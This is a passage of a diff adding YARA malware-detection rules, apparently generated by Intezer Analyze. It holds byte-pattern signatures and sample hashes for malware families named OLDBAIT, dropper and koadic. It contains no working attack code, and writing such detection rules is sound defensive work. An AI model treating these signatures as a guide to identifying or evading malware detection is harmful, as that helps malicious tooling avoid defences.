+		$block_9 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 33 ?? 85 ?? 0F 85 }
+		$block_10 = { BA ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_11 = { 8B ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_12 = { 89 ?? ?? ?? 48 ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 85 ?? 74 }
+		$block_13 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? 0F B6 ?? ?? 83 ?? ?? 74 }
+		$block_14 = { 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+
+	condition:
+		hash.sha256(0, filesize) == "4bfe2216ee63657312af1b2507c8f2bf362fdf1d63c88faba397e880c2e39430" or
+		12 of them
+}
+
+rule OLDBAIT {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8D ?? ?? 5? 6A ?? FF D? 8B ?? ?? ?? 5? 5? 5? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? 6A ?? 33 ?? 5? 89 ?? ?? ?? FF D? 89 ?? ?? 8B ?? 89 ?? 89 ?? ?? 6A ?? 89 ?? ?? 5? 89 ?? ?? E8 ?? ?? ?? ?? 5? 5? 83 ?? ?? 3B ?? 0F 85 }
+		$block_1 = { 8D ?? ?? 5? 6A ?? FF D? 8B ?? ?? ?? 5? 5? 5? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? 6A ?? 33 ?? 5? 89 ?? ?? ?? FF D? 89 ?? ?? 8B ?? 89 ?? 89 ?? ?? 6A ?? 89 ?? ?? 5? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 85 }
+		$block_2 = { 5? 6A ?? 5? FF D? 5? 5? 8B ?? ?? ?? 89 ?? ?? 6A ?? 5? 89 ?? ?? ?? 89 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_3 = { 5? 6A ?? 5? FF D? 8B ?? 8B ?? ?? ?? 89 ?? ?? 6A ?? 5? 89 ?? ?? ?? 89 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_4 = { 8D ?? ?? 5? 6A ?? FF D? 8B ?? ?? ?? 5? 5? 5? 89 ?? E8 ?? ?? ?? ?? 83 ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_5 = { 5? 5? 83 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 29 ?? 66 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_6 = { 8B ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 33 ?? 66 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_7 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? C7 ?? ?? ?? ?? ?? ?? 8D ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? FF 7? ?? 60 FC B2 ?? 33 }
+		$block_8 = { 30 ?? ?? 0F B6 ?? C1 ?? ?? D1 ?? 4? 0B ?? 3B ?? 72 }
+
+	condition:
+		hash.sha256(0, filesize) == "10b02dfe93a30d5da0aab3559ec3a55dab6cd96e8ef7c4d1a8e86c59efe63634" or
+		hash.sha256(0, filesize) == "de006fffc2c0580844830436ee2bdce2f492072b72375b93867a1523c0275ecd" or
+		hash.sha256(0, filesize) == "360fc67cb295c0a79934f7899ed804424e0c6c4e316d7f3478f2f8c4386f5b68" or
+		hash.sha256(0, filesize) == "7313eaf95a8a8b4c206b9afe306e7c0675a21999921a71a5a16456894571d21d" or
+		9 of them
+}
+
+rule dropper {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 8B ?? ?? B9 ?? ?? ?? ?? A1 ?? ?? ?? ?? 85 ?? 0F 45 ?? A3 ?? ?? ?? ?? 8B ?? ?? 85 ?? 74 }
+		$block_1 = { 0F B6 ?? 88 ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? 89 ?? ?? 03 ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 75 }
+		$block_2 = { 80 B? ?? ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? 0F 44 ?? 5? 5? 89 ?? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_3 = { 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 5? 5? 33 ?? 8B ?? 4? 8B ?? E8 ?? ?? ?? ?? 5? 85 ?? 0F 85 }
+		$block_4 = { 0F B7 ?? 4? 8B ?? 89 ?? ?? 81 E? ?? ?? ?? ?? 66 ?? ?? ?? 8B ?? 03 ?? ?? 89 ?? ?? 66 ?? ?? ?? 75 }
+		$block_5 = { 0F 28 ?? ?? ?? ?? ?? 8B ?? 0F 11 ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F 28 ?? ?? ?? ?? ?? 0F 11 ?? ?? C7 }
+		$block_6 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 5? 8B ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_7 = { 0F 57 ?? 32 ?? 66 ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 }
+		$block_8 = { 8D ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? 5? FF B? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_9 = { 8D ?? ?? 0F B7 ?? 5? FF 7? ?? 89 ?? ?? 0F B7 ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 85 ?? 74 }
+		$block_10 = { 83 ?? ?? ?? 03 ?? 5? 8D ?? ?? 5? FF 5? ?? 8D ?? ?? 5? 8D ?? ?? 5? 6A ?? 6A ?? FF D? 85 ?? 0F 88 }
+		$block_11 = { 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? EB }
+		$block_12 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? 83 ?? ?? 0F 84 }
+		$block_13 = { 8B ?? C7 ?? ?? ?? ?? ?? ?? 2B ?? ?? F7 ?? ?? ?? ?? ?? ?? 89 ?? ?? 0F B6 ?? ?? ?? 89 ?? ?? 74 }
+		$block_14 = { 5? 8B ?? 83 ?? ?? 8B ?? 33 ?? 5? 5? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 38 ?? 0F 84 }
+		$block_15 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 5? 5? 8B ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_16 = { 5? 8B ?? 5? 5? 8B ?? ?? 5? 8B ?? ?? 5? 0F B7 ?? 80 7? ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? 0F 85 }
+		$block_17 = { 8B ?? 0F 57 ?? 8B ?? ?? 89 ?? ?? 83 ?? ?? 66 ?? ?? ?? ?? 5? 8B ?? ?? 89 ?? ?? 89 ?? ?? 0F 88 }
+		$block_18 = { 5? 8B ?? ?? ?? ?? ?? 5? 6A ?? BF ?? ?? ?? ?? 5? 6A ?? 5? FF D? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_19 = { 80 B? ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8D ?? ?? 0F 44 ?? 5? 5? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_20 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 03 ?? ?? ?? ?? ?? 0F B7 ?? ?? C7 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? 74 }
+		$block_21 = { 8D ?? ?? 33 ?? 4? 3B ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 0F B6 ?? 0F 4E ?? 89 ?? ?? 84 ?? 75 }
+		$block_22 = { 8B ?? ?? FF B? ?? ?? ?? ?? 4? 01 ?? 8D ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 88 }
+		$block_23 = { 8B ?? ?? 8D ?? ?? 81 F? ?? ?? ?? ?? 0F 42 ?? 81 F? ?? ?? ?? ?? 8D ?? ?? 0F 43 ?? 85 ?? 74 }
+		$block_24 = { 8A ?? 8D ?? ?? 30 ?? ?? 0F B6 ?? 30 ?? ?? 0F B6 ?? 30 ?? ?? 0F B6 ?? 30 ?? ?? 83 ?? ?? 75 }
+		$block_25 = { 3B ?? 8B ?? 6A ?? 5? 0F 4C ?? 3B ?? 0F 4C ?? 8A ?? ?? ?? 88 ?? ?? ?? 4? 4? 4? 83 ?? ?? 7C }
+		$block_26 = { 8B ?? 0F AF ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 81 E? ?? ?? ?? ?? 89 ?? ?? 85 ?? 7E }
+		$block_27 = { FF 7? ?? 8D ?? ?? ?? ?? ?? FF B? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_28 = { 8B ?? ?? 4? 8B ?? ?? 83 ?? ?? 4? 89 ?? ?? 89 ?? ?? 89 ?? 8B ?? ?? 89 ?? ?? 3B ?? ?? 0F 8C }
+		$block_29 = { 8B ?? ?? 0F 57 ?? 8B ?? 8B ?? ?? 8B ?? 66 ?? ?? ?? ?? 03 ?? 89 ?? ?? 89 ?? ?? 3B ?? 0F 8D }
+		$block_30 = { B9 ?? ?? ?? ?? 83 ?? ?? 2B ?? 8B ?? ?? 3B ?? 0F B6 ?? 8B ?? ?? 6A ?? 5? 0F 4F ?? 84 ?? 75 }
+		$block_31 = { 8D ?? ?? ?? ?? ?? 5? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 6A ?? 5? 0F 45 ?? 85 ?? 0F 85 }
+		$block_32 = { 5? 5? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_33 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 5? 85 ?? 5? 0F 45 ?? E8 ?? ?? ?? ?? 85 ?? 5? 5? 0F 45 }
+		$block_34 = { 0F BF ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 74 }
+		$block_35 = { FF B? ?? ?? ?? ?? 5? 8D ?? ?? 5? 8B ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_36 = { 0F B7 ?? ?? ?? ?? ?? 5? 5? 5? FF 7? ?? E8 ?? ?? ?? ?? 83 ?? ?? F6 ?? ?? ?? ?? ?? ?? 75 }
+		$block_37 = { 8B ?? ?? 89 ?? ?? 8B ?? ?? F6 ?? ?? ?? 8B ?? ?? 8D ?? ?? 0F 45 ?? ?? 89 ?? ?? 85 ?? 74 }
+		$block_38 = { 8B ?? 8D ?? ?? ?? ?? ?? 2B ?? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 81 F? ?? ?? ?? ?? 0F 83 }
+		$block_39 = { 8B ?? ?? FF 7? ?? 8B ?? ?? 4? 03 ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_40 = { 8B ?? ?? 03 ?? ?? 03 ?? C7 ?? ?? ?? ?? ?? ?? 8D ?? ?? 3B ?? 8B ?? 0F 46 ?? 8D ?? ?? EB }
+		$block_41 = { 5? 8B ?? 83 ?? ?? BA ?? ?? ?? ?? 5? 5? 8B ?? 5? 8B ?? ?? 03 ?? 0F B7 ?? ?? 66 ?? ?? 75 }
+		$block_42 = { 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_43 = { 5? 8B ?? 83 ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 5? 8B ?? ?? B8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_44 = { 8B ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_45 = { 8B ?? ?? ?? ?? ?? 6A ?? 5? 3B ?? 6A ?? 0F 42 ?? 83 ?? ?? 5? 0F 48 ?? 89 ?? ?? 85 ?? 7E }
+		$block_46 = { 8B ?? ?? 33 ?? 8B ?? ?? 33 ?? 89 ?? ?? 8B ?? ?? 4? 66 ?? ?? ?? 8B ?? ?? 89 ?? ?? 0F 83 }
+		$block_47 = { 8B ?? ?? ?? ?? ?? 0F B7 ?? C1 ?? ?? 6A ?? 88 ?? ?? 5? 88 ?? ?? 89 ?? ?? ?? ?? ?? EB }
+		$block_48 = { 6A ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_49 = { 8D ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_50 = { 8B ?? ?? 8B ?? ?? 5? 8B ?? 8B ?? 03 ?? 3B ?? 0F 4C ?? 89 ?? ?? 81 F? ?? ?? ?? ?? 7E }
+		$block_51 = { 5? 8B ?? 83 ?? ?? B8 ?? ?? ?? ?? 33 ?? 5? 5? 5? 8B ?? ?? 66 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_52 = { 33 ?? 4? 6B ?? ?? 0F BE ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 7F }
+		$block_53 = { 8B ?? ?? 6A ?? 5? D3 ?? 03 ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 85 }
+		$block_54 = { 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 83 ?? ?? 0F 85 }
+		$block_55 = { 8D ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_56 = { 5? 6A ?? 8D ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_57 = { 8B ?? ?? 0F B6 ?? ?? FF 0? 8B ?? 8B ?? 2B ?? 03 ?? 89 ?? ?? 89 ?? ?? 3B ?? ?? 77 }
+		$block_58 = { 8B ?? ?? 8B ?? ?? 5? 8B ?? ?? 4? 0F B6 ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 83 ?? ?? 75 }
+		$block_59 = { 33 ?? 83 ?? ?? 0F 92 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 5? 85 ?? 74 }
+		$block_60 = { 2B ?? 8D ?? ?? ?? ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 81 F? ?? ?? ?? ?? 0F 83 }
+		$block_61 = { 2B ?? 8B ?? ?? 8D ?? ?? 3B ?? 0F 9D ?? FE ?? 24 ?? 4? 88 ?? ?? 4? 03 ?? 3B ?? 7C }
+		$block_62 = { 33 ?? 8D ?? ?? 5? 5? FF 7? ?? 89 ?? ?? FF 7? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_63 = { 5? 8B ?? 83 ?? ?? 8D ?? ?? 5? 8B ?? ?? FF 3? 5? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_64 = { 8B ?? 89 ?? ?? 8B ?? ?? 6A ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 5? 85 ?? 0F 84 }
+		$block_65 = { 8B ?? ?? BE ?? ?? ?? ?? 8D ?? ?? 83 ?? ?? A5 89 ?? ?? A5 A5 66 ?? 8B ?? ?? 8B }
+		$block_66 = { 8D ?? ?? 88 ?? ?? 5? 5? FF D? 0F 28 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? 0F 11 }
+		$block_67 = { 6B ?? ?? ?? 89 ?? ?? ?? ?? ?? 33 ?? 03 ?? ?? ?? ?? ?? 85 ?? 0F 95 ?? A8 ?? 74 }
+		$block_68 = { 8B ?? ?? 33 ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? 3B ?? ?? 8B ?? ?? 0F 95 ?? 85 ?? 74 }
+		$block_69 = { 8B ?? ?? 6A ?? 5? 5? 83 ?? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_70 = { 8B ?? ?? ?? ?? ?? 89 ?? 8B ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? 0F 83 }
+		$block_71 = { 8D ?? ?? 5? 5? FF D? 0F 28 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? 0F 11 ?? ?? 66 }
+		$block_72 = { 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_73 = { 8A ?? ?? 24 ?? 0F B6 ?? 66 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? 66 ?? ?? 66 }
+		$block_74 = { 5? 8B ?? 5? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 8B ?? 39 ?? ?? 0F 4C ?? ?? 85 ?? 75 }
+		$block_75 = { 33 ?? 8B ?? 39 ?? ?? 0F 45 ?? ?? C6 ?? ?? ?? 8B ?? ?? F7 ?? ?? ?? ?? ?? ?? 74 }
+		$block_76 = { A1 ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 3B ?? 5? 8B ?? 0F 45 ?? 39 ?? ?? ?? ?? ?? 7D }
+		$block_77 = { 0F B7 ?? ?? ?? ?? ?? 4? 3B ?? B8 ?? ?? ?? ?? 0F 47 ?? 66 ?? ?? ?? ?? ?? ?? 74 }
+		$block_78 = { 8B ?? ?? 03 ?? 2B ?? FF 8? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 85 }
+		$block_79 = { FF 7? ?? 8D ?? ?? ?? ?? ?? 6A ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_80 = { 4? 2B ?? 89 ?? ?? D3 ?? 8B ?? ?? 0B ?? 89 ?? ?? 6A ?? 5? 89 ?? ?? 3B ?? 0F 85 }
+		$block_81 = { 8B ?? ?? ?? ?? ?? 0F B6 ?? 0F B6 ?? ?? 66 ?? ?? ?? 66 ?? ?? 66 ?? ?? ?? 75 }
+		$block_82 = { 5? 8D ?? ?? ?? ?? ?? ?? 8B ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_83 = { 5? 8B ?? 83 ?? ?? 5? 5? 8B ?? 5? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_84 = { 0F B6 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 4? C6 ?? ?? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_85 = { 0F 10 ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 0F 11 ?? ?? ?? 83 ?? ?? 83 ?? ?? 72 }
+		$block_86 = { 83 ?? ?? ?? ?? ?? ?? 33 ?? 4? 6B ?? ?? 0F BE ?? ?? ?? ?? ?? ?? 83 ?? ?? 75 }
+		$block_87 = { 8B ?? ?? 8A ?? ?? ?? ?? ?? ?? 4? 88 ?? ?? 4? 8B ?? ?? 0F B7 ?? ?? 3B ?? 7C }
+		$block_88 = { 8B ?? ?? 83 ?? ?? 8B ?? ?? 83 ?? ?? 83 ?? ?? 89 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_89 = { 8B ?? ?? 2B ?? ?? 03 ?? ?? 01 ?? ?? 8B ?? ?? 89 ?? ?? ?? 4? 83 ?? ?? 0F 8C }
+		$block_90 = { 5? 8B ?? 83 ?? ?? 5? 5? 8B ?? 33 ?? 89 ?? ?? 89 ?? ?? 5? 8B ?? 85 ?? 0F 84 }
+		$block_91 = { 8A ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 8B ?? 3C ?? 75 }
+		$block_92 = { 5? 8B ?? 5? 5? 8B ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_93 = { 8B ?? ?? 89 ?? ?? 66 ?? ?? 33 ?? 8B ?? ?? 89 ?? ?? 89 ?? 39 ?? ?? 0F 8E }
+		$block_94 = { 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_95 = { 6A ?? 68 ?? ?? ?? ?? FF 7? ?? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_96 = { 80 3? ?? 8D ?? ?? 0F 44 ?? 85 ?? 8B ?? 8D ?? ?? 0F 4E ?? 8B ?? 85 ?? 7F }
+		$block_97 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_98 = { 5? 8D ?? ?? 89 ?? ?? 5? 5? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 0F 85 }
+		$block_99 = { 8B ?? 8B ?? ?? 2B ?? 6A ?? 03 ?? E8 ?? ?? ?? ?? 89 ?? ?? 5? 85 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "e1a3a012b332f0728e11f7bbb7429dece387a1244b3daaee6da6b4407c48caf7" or
+		12 of them
+}
+
+rule koadic {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 83 ?? ?? 81 E? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 5? 5? 5? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? FF D? 8B ?? ?? ?? ?? ?? ?? 33 ?? 5? 5? 8D ?? ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 5? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? FF D? 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 89 ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 85 ?? 0F 89 }
+		$block_1 = { C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 5? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? FF 5? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 85 }
+		$block_2 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? FF 5? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? FF 5? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 85 }
+		$block_3 = { C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 5? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? FF 5? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 85 }
+		$block_4 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? FF 5? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 85 }
+		$block_5 = { 0F B7 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_6 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? FF 5? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 85 }
+		$block_7 = { 48 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? FF 5? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 85 }
